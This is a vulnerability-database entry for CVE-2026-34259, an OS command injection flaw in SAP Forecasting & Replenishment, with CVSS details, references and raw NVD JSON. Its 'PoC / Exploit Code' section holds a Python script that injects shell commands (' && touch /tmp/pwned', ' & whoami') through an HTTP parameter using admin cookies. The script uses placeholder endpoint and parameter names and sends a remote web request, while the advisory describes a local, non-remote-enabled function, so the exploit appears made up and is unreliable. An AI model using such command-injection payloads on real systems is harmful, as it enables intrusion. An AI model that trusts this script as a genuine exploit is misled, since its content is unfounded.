CVE-2026-34259

Description

Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Forecasting & Replenishment (Versions prior to fix provided in SAP Note 3732471)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-34259 PoC Concept
# Target: SAP Forecasting & Replenishment
# Description: OS Command Injection via vulnerable non-remote-enabled function

target_url = "http://target-sap-system:8000/sap/bc/webdynpro_abap/z_vulnerable_func"

# Attacker credentials (High Privileges required)
session_cookies = {
    "sap-user": "ADMIN",
    "sap-password": "PASSWORD"
}

# Malicious payload to inject OS command (e.g., creating a file or executing whoami)
# The payload depends on the underlying OS (Windows/Linux)
payload = " && touch /tmp/pwned" # For Linux
# payload = " & whoami" # For Windows

params = {
    "input_field": "legitimate_data",
    "config_param": payload  # Vulnerable parameter
}

try:
    print("[*] Attempting to exploit CVE-2026-34259...")
    response = requests.get(target_url, params=params, cookies=session_cookies)

    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check system for signs of command execution (e.g., /tmp/pwned file).")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34259
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34259
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34259/
[4] VulDB https://vuldb.com/cve/CVE-2026-34259
[5] https://me.sap.com/notes/3732471
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34259", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.383", "lastModified": "2026-05-12T03:16:11.383", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://me.sap.com/notes/3732471", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}